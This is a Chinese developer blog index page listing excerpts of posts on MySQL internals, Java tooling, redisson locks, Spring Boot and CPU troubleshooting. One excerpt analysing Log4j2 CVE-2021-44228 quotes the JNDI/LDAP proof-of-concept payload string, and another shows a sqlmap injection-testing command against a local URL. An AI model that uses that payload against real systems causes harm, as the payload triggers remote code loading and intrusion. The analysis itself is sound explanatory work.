自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(56)
  • 资源 (2)
  • 收藏
  • 关注

转载 Log4j2远程代码执行漏洞分析及例子

0x00 介绍Log4j2是Java开发常用的日志框架,该漏洞触发条件低,危害大,由阿里云安全团队报告(莫羽师傅挖到的)分配CVE编号:CVE-2021-44228CVSS评分:10.0(最高只能10分)POC比较简单public static void main(String[] args) throws Exception { logger.error("${jndi:ldap://127.0.0.1:1389/badClassName}");}POC虽然简单,但是

2021-12-11 17:35:12 1329 1

原创 Althas动态修改类

Althas动态加载类

2021-12-07 10:35:55 1165

转载 mysql redo log

数据库故障恢复机制的前世今生一文中提到,今生磁盘数据库为了在保证数据库的原子性(A, Atomic) 和持久性(D, Durability)的同时,还能以灵活的刷盘策略来充分利用磁盘顺序写的性能,会记录REDO和UNDO日志,即ARIES方法。本文将重点介绍REDO LOG的作用,记录的内容,组织结构,写入方式等内容,希望读者能够更全面准确的理解REDO LOG在InnoDB中的位置。本文基于MySQL 8.0代码。一 为什么需要记录REDO为了取得更好的读写性能,InnoDB会将数据缓存.

2021-11-05 10:10:00 181

原创 sqlmap-sql注入检测

SqlMap(防sql注入)使用手册下载地址:Download and update · sqlmapproject/sqlmap Wiki · GitHub下载后无须安装依赖:需要有python2.6, 2.7or 3.x的使用:在sqlmap的目录下 ,使用 python sqlmap.py -u http://localhost:8080/api/testSqlInjectWithCompile?phone=18810652812-u表示要测试的url出现...

2021-10-15 12:07:02 2127

原创 一些值得记录的工具类

注:仅仅作为自己记录使用guavaMultimap 一个key可以映射多个value的HashMap,多省事,多简洁,省得你再创建 Map<String, List>Multimap<String,Integer>map=ArrayListMultimap.create();map.put("key",1);map.put("key",2);Collection<Integer>values=map.get("key");...

2021-06-30 10:36:50 79

原创 Mysql MVCC(多版本并发控制)原理解析

查看表的信息:可以通过 show table status 此命令看到表的信息:name(表名)、engine(存储引擎)、version(版本,暂不知道是什么版本)、row_format(行的格式:和存储引擎有关)、rows(行数)、avg_row_length(平均每条数据的字节数)、data_length(表数据的总字节数)、max_data_length(表数据的最大容量,与存储引擎有关)、index_length(索引长度)、data_free(已分配但是未使用的空间)、auto_increm

2021-06-27 11:31:16 340 1

原创 java agent

看到一个不错的博文,记录一下,以便后续查看。https://blog.csdn.net/liuyueyi25/article/details/104640588

2021-04-27 20:05:34 147

原创 序列化协议protobuf的解释及使用

背景:项目中看到有同事用到的protobuf,本着学习的精神来看一下这是什么?为什么使用它。先从官网了解了一下:https://developers.google.com/protocol-buffers是什么?Google推出的一个序列化的协议。通过定义一个.proto的数据结构化的文件,编译生成一个class,class会暴露getset等方法,方法里面通过二进制的方式进行序列化。为什么使用它?现在我自己经常用到的序列化也就是这几种,Serializable、自定义的序列化协议(公司

2021-04-06 13:38:29 682

原创 ArrayList.subList注意点

平时经常用到ArrayList.subList进行list的截取,发现里面有一些注意点,记录一下 List<Integer> oldList = new ArrayList<Integer>(){{add(1);add(2);add(3);}}; List<Integer> newList = oldList.subList(1, 2); SubList返回的是原list的视图,并不是创建了一个新的集合 public Lis

2021-03-30 10:07:16 218

原创 mybatis 一级缓存与二级缓存

背景:一直没关注过mybatis的一级缓存与二级缓存是什么,以及怎么使用的。最近由于mybatis二级缓存导致内存泄漏的问题,使得自己抽出时间来看了一下。先说一级缓存,作用域一个sqlSession,在同一个sqlSession中,相同的sql第一次查询时会查询数据库并缓存起来,放到hashMap中,第二次的时候会直接从hashMap中读取数据。二级缓存是作用域是sqlSessionFactory,一级缓存作用域只是一个sqlSession,如果需要多个sqlSession共享的话,需要用到二级

2021-01-25 14:52:54 217

转载 Linux top参数详解

top命令是Linux下常用的性能分析工具,能够实时显示系统中各个进程的资源占用状况,类似于Windows的任务管理器top参数详解第一行,任务队列信息,同 uptime 命令的执行结果系统时间:07:27:05运行时间:up 1:57 min,当前登录用户: 3 user负载均衡(uptime) load average: 0.00, 0.00, 0.00 average后面的三个数分别是1分钟、5分钟、15分钟的负载情况。load average数据是每...

2021-01-20 10:34:42 462

原创 cpu过高问题定位及解决

1 top 查找进程号2 top -H -p 进程号 获取进程中cpu占用过高的线程,按cpu占用倒叙排列3 jstack 进程号 > a.stack 连接到该进程,将此时该进程的栈信息存储4 printf %0x 线程号 将第二步骤占用cpu高的线程号拿过来,转换为16进制5 cat a.stack |grep -A 100转储堆快照: jmap -dump:format=b,file=文件名 [pid]...

2021-01-18 16:21:44 309

原创 redisson分布式锁源码解析

近期用到分布式锁,选用了redissio,选用的原因:封装,实现了锁的重入,锁自动续期、防止超时机制、使用方便易上手(实现了JUC的lock接口)先看一下简单使用(需要在finally中手动释放锁):@Test public void testRedisson() throws Exception{ String test = "testLock"; RLock lock = null; try { lock = re

2021-01-08 17:06:33 345

转载 Java Agent使用指南

https://www.cnblogs.com/rickiyang/p/11368932.html

2021-01-07 21:52:28 161

原创 mysql 排序规则

场景:最近在做查询的时候,无意中发现与预期的结果不一样,通过使用‘广汽菲克jeep’作为查询条件查询数据,可以查到‘广汽菲克Jeep’。如下:查了一下才知道是mysql的排序规则导致的。看一下测试环境数据库的设置:show variables;可以看到采用的字符集是utf8mb4,排序规则是utf8mb4_general_ci。查了一下官方的文档,表示一个字符集至少可以有一个排序规则,可以通过SHOW COLLATION 查看字符集以及对应的排序规则,utf8mb4对应的排..

2020-11-10 17:51:14 748 1

原创 初识MongoDB(一) mongodb基本操作

使用背景:项目中需要存储一些下游的需求,需求的的格式是个树形的格式,例如某个需求里面包含n个城市某个品牌某个车系,可以简化成下图。(只是作为使用场景来分析,可以跳过)按照关系型数据库来说的话,有两种方案:1 需要3张表来实现下面的机构需要需求表存储需求的基本信息,需求和城市的关联表(一个需求对多个城市),需求、城市、车系的关联关系表(一个城市的某个需求下面有多个车系)。2 一张表存储:一个需求对应多行记录,每行记录中的最小粒度是城市,城市中的车系用逗号拼接。如下图:需求id 城

2020-10-06 14:19:32 1127

原创 Mac 安装brew及使用

通过官网下载brew时,要么是超时,要么是拒绝连接,困扰了好一会,突然看到一篇文档,通过镜像加速访问和下载,感觉挺有用,所以转过来,记录一下。Homebrew是一款包管理工具,目前支持macOS和linux系统。主要有四个部分组成:brew、homebrew-core、homebrew-cask、homebrew-bottles。本文主要介绍Homebrew安装方式以及如何加速访问,顺便普及一些必要的知识。1. 脚本说明Homebrew默认安装脚本:/usr/bin/ruby ..

2020-08-10 18:45:51 284

原创 记一次redis迁移遇到CPU占用过高问题

背景:项目需要做wredis到redis的数据迁移,考虑到三种方案:1 redis和wredis同时写,读的时候根据配置选择从redis还是wredis读取数据。2 通过wredis到redis的数据同步,代码中直接修改redis的地址。3 通过scan的方式扫描redis中的数据,再通过Pipeline的方式写入。对比了一下方案的优缺点:1 缺点是时间成本高,业务中有些数据过期时间长,切换周期长;优点是可以平滑切换;2 缺点是需要dba的同学配合,如果遇到问题,不好回退(仅仅是

2020-08-08 16:29:54 732

原创 mysql常见函数总结

看到一篇公司大佬在公司内部博客上发表的mysql常见函数,觉得对自己有用,所以转过来,希望也可以对大家有用。本文对MySQL常用函数进行了分类整理:日期和时间函数、数学函数、字符串函数、条件判断函数、系统信息函数、加密函数等,大家可以作为字典查询和使用。一.日期和时间函数1.NOW()作用:返回当前的日期和时间示例:2.DATE(date)作用:返回当前日期示例:3.CURDATE()作用:返回当前日期示例:4.CURTIME()作用:返回..

2020-07-22 15:51:15 241

转载 Random与ThreadLocalRandom 解析

问题:既然已经有了Random为什么还需要ThreadLocalRandom?正文Random是使用最广泛的随机数生成工具了,即使连 Math.random()的底层也是用 Random实现的 Math.random()源码如下:可以看出 Math.random()直接指向了 Random.nextDouble()方法。Random使用这开始之前,我们先来了解一下 Random的使用。Random random = new Random();...

2020-07-20 18:39:50 438

转载 git rebase 成功之后如何撤销

git rebase 过程中可以使用git --abort/--continue来进行操作,成功之后如何撤销呢?首先执行git reflog查看本地记录可知本次rebase之前的id 为:02a3260 HEAD@{9}: commit: adjust ds5 ir data save file formate所以执行git reset --hard02a3260即可...

2020-07-01 15:28:46 1198

原创 日志框架 SLF4j

是什么:SLF4J,即简单日志门面(Simple Logging Facade for Java),不是具体的日志解决方案,它只服务于各种各样的日志系统。按照官方的说法,SLF4J是一个用于日志系统的简单Facade,允许最终用户在部署其应用时使用其所希望的日志系统为什么:在java.util.logging, logback, log4j等日志系统存在的基础上,为什么要用slf4j框架作为一个门面呢?SLF4J 是一个日志抽象层,允许你使用任何一个日志系统,并且可以随时切换还不需要动到已经

2020-07-01 14:30:30 614

转载 SpringBoot源码解析-Bean的加载与自动化配置

springboot作为一个基于spring开发的框架,自然也继承了spring的容器属性。容器中的bean自然成为了springboot各种功能的基础。本节就来分析一下springboot如何将各种bean加载进容器中。开始分析之前首先我们先概览一下springboot框架究竟加载了多少bean。在main函数中添加如下代码,运行。public static void main(String[] args) { ApplicationContext context = Sprin

2020-06-28 15:35:31 436

OOM实战 (一)

概念:OOM,全称“Out Of Memory”,翻译成中文就是“内存用完了”,来源于java.lang.OutOfMemoryError。看下关于的官方说明:Thrown when the Java Virtual Machine cannot allocate an object because it is out of memory, and no more memory could be made available by the garbage collector. 意思就是说,当JVM因为.

2020-05-28 23:16:24 249

原创 池化技术-数据库连接池

概述什么是连接池1)先讲一下“池”, 池(Pool)技术在一定程度上可以明显优化服务器应用程序的性能,提高程序执行效率和降低系统资源开销。这里所说的池是一种广义上的池,比如数据库连接池、线程池、内存池、对象池等。其中,对象池可以看成保存对象的容器,在进程初始化时创建一定数量的对象。需要时直接从池中取出一个空闲对象,用完后并不直接释放掉对象,而是再放到对象池中以方便下一次对象请求可以直接复用。其他几种池的设计思想也是如此,池技术的优势是,可以消除对象创建所带来的延迟,从而提高系统的性能。为什么要使用

2020-05-15 12:19:15 528

转载 springcloud 与springboot版本对应关系

链接:https://start.spring.io/actuator/info相关部分格式化后就是下面这个了"spring-cloud": { "Finchley.M2": "Spring Boot >=2.0.0.M3 and <2.0.0.M5", "Finchley.M3": "Spring Boot >=2.0.0.M5 and <=2.0.0.M5", "Finchley.M4": "Sprin...

2020-05-14 21:21:01 1594

原创 java 代理模式使用与原理

概念:通俗来讲:中介、黄牛等都是一种代理,他们有你的信息,来为你提供额外的支持。映射到程序上来讲就是代理对象持有被代理对象的引用,以控制对这个对象的访问。代理类和委托类有共同的父类或父接口,这样在任何使用委托类对象的地方都可以用代理对象替代。代理类负责请求的预处理、过滤、将请求分派给委托类处理、以及委托类执行完请求后的后续处理。代理分为静态代理和动态代理静态代理静态就是在程序运行前就已经存在代理类的字节码文件,代理类和委托类的关系在运行前就确定了租客接口public int..

2020-05-10 11:02:18 153

转载 迭代器-快速失败与安全失败

快速失败(fail—fast) 在用迭代器遍历一个集合对象时,如果遍历过程中对集合对象的内容进行了修改(增加、删除、修改),则会抛出Concurrent Modification Exception。原理:迭代器在遍历时直接访问集合中的内容,并且在遍历过程中使用一个 modCount 变量。集合在被遍历期间如果内容发生变化,就会改变modCount的值...

2020-04-16 11:03:36 311

原创 mysql 索引命中与索引优化

闲来无事想看看数据库得索引,于是就需要造一些数据,为了保证测试的有效性,所以决定使用存储过程来造一些数据。好久没写过了,特记录一下。drop procedure if exists data_insert;DELIMITER $$ CREATE PROCEDURE data_insert()BEGIN DECLARE i int unsigned DEFAULT 0...

2020-04-04 21:35:33 726 2

原创 日期控件 datetimepicker

项目中需要用到日期控件时,可以选择使用 bootstrap-datetimepicker.js。使用方法:<input type="text" id="triggerTimeAppoint" />$('#triggerTimeAppoint').datetimepicker({ minView: "month", //不选择时间 language: ...

2020-03-11 11:29:32 829

转载 几种延迟任务的实现方案

https://www.cnblogs.com/throwable/p/11955154.html

2020-03-03 16:32:50 321

转载 spring boot容器启动详解

目录一、前言 二、容器启动 2.1 @SpringBootApplication注解 2.2 SpringApplication.run()静态方法 如上图,容器启动流程可以分为5个主要步骤: 1.getRunListeners获取监听器(SpringApplicationRunListeners ) 载入工厂名称(loadFactoryNames) 创建spring工...

2020-02-24 18:08:33 342

原创 事务(二)数据库事务

数据库事务的四大特性(ACID)原子性 原子性是指事务包含的所有操作要么全部成功,要么全部失败回滚,因此事务的操作如果成功就必须要完全应用到数据库,如果操作失败则不能对数据库有任何影响。 某个应用在执行转帐的数据库操作时,必须在同一个事务内部调用对帐户A和帐户B的操作,才能保证数据的一致性。但是,原子性并不能完全保证一致性。在多个事务并行进行的情况下,即使保证了每...

2020-02-18 23:22:55 173

原创 事务(一)springboot事务不生效

在项目中,遇到了事务不生效的情况,首先从以下几点排查:mysql表必须支持事务:引擎为INNODB SpringBoot启动事务 @EnableTransactionManagement 方法上加注解@Transactional//默认只对RuntimeException起作用,可通过rollbackfor修改 方法必须为public修饰 同类中事务的方法不能嵌套在其他方法中, ...

2020-02-18 11:14:25 579

转载 IO多路复用之事件驱动模型

一直不太了解多路复用的概念,在参考了几篇文章之后,先来说一下事件驱动模型概念:所谓事件驱动,简单地说就是你点什么按钮(即产生什么事件),电脑执行什么操作(即调用什么函数).当然事件不仅限于用户的操作. 事件驱动的核心自然是事件。(摘自百度百科)举个例子:在UI编程中,常常要对鼠标点击进行相应,首先如何获得鼠标点击呢?方式一:创建一个线程,该线程一直循环检测是否有鼠标点击,那么这个方式...

2020-02-17 10:22:56 265

原创 如何排查cpu过高的问题

Java线上服务有可能会出现CPU使用率过高,那应该如何定位该问题呢?首先模拟一下cpu使用率过高的问题:public static void main(String[] args) { int i = 0; while (true){ File file = new File("/log1.out"); t...

2020-02-11 21:44:45 525

原创 Arrays.asList注意点

在进行数组转List的时候,经常会用到Arrays.asList();如果不注意的话,这个方法可能就会踩坑。问题复现:public static void arrays2List(Integer[] numbers){ List<Integer> integers = Arrays.asList(numbers); integers.add(1...

2020-02-04 15:11:57 111

转载 数据库三范式

https://zhuanlan.zhihu.com/p/77771583

2020-01-28 10:48:52 86

原创 java clone深拷贝与浅拷贝

使用场景:如果要进行对象clone的话,需要实现Cloneable接口,并调用.clone方法。实现:在进行clone的过程中,需要注意如果拷贝的是引用类型的对象(String除外),都是拷贝的地址,而不是拷贝的值。这样做的缺点就是如果改变了克隆的对象的值,被克隆对象的值也会被修改,因为都指向的是同一块堆中的数据。看一下下面的代码public class CloneTest ...

2020-01-13 10:04:08 180

转载 布隆过滤器

海量数据处理以及缓存穿透这两个场景让我认识了布隆过滤器 ,我查阅了一些资料来了解它,但是很多现成资料并不满足我的需求,所以就决定自己总结一篇关于布隆过滤器的文章。希望通过这篇文章让更多人了解布隆过滤器,并且会实际去使用它!下面我们将分为几个方面来介绍布隆过滤器: 什么是布隆过滤器? 布隆过滤器的原理介绍。 布隆过滤器使用场景。 通过 Java 编程手动实现布...

2020-01-07 11:43:10 178

protocol.zip

该代码使用了benchmark做为基准测试工具,测试了一下protobuf与fastjson的性能,供参考

2021-04-08

bootstrap-datetimepicker.fr.js

常用的js,包括jquery-1.12.4.js,bootstrap.min.js,bootstrap-datetimepicker.fr.js,bootstrap-datetimepicker.js

2019-05-15

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除